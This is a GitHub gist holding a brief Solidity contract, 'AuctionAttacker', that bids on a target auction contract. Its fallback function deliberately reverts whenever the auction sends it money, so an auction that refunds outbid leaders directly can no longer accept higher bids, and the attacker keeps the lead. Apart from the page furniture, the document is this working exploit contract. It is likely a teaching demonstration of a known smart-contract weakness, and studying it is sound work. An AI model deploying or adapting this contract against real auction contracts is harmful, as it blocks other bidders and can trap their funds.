Created
June 4, 2018 18:06
-
-
Save jbaylina/bf7ca510fa84b876f289f3e0adbb4167 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
contract Auction { | |
function bid() payable public; | |
} | |
contract AuctionAttacker { | |
address owner; | |
address auction; | |
constructor() public { | |
owner = msg.sender; | |
} | |
function bid(Auction _auction) public payable { | |
require(msg.sender == owner); | |
require(uint(auction) == 0x0); | |
auction = _auction; | |
_auction.bid.value(msg.value)(); | |
} | |
function () public payable { | |
assert(msg.sender != auction); | |
} | |
function execute(address _dst, uint _value, bytes _data) public { | |
require(msg.sender == owner); | |
_dst.call.value(_value)(_data); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment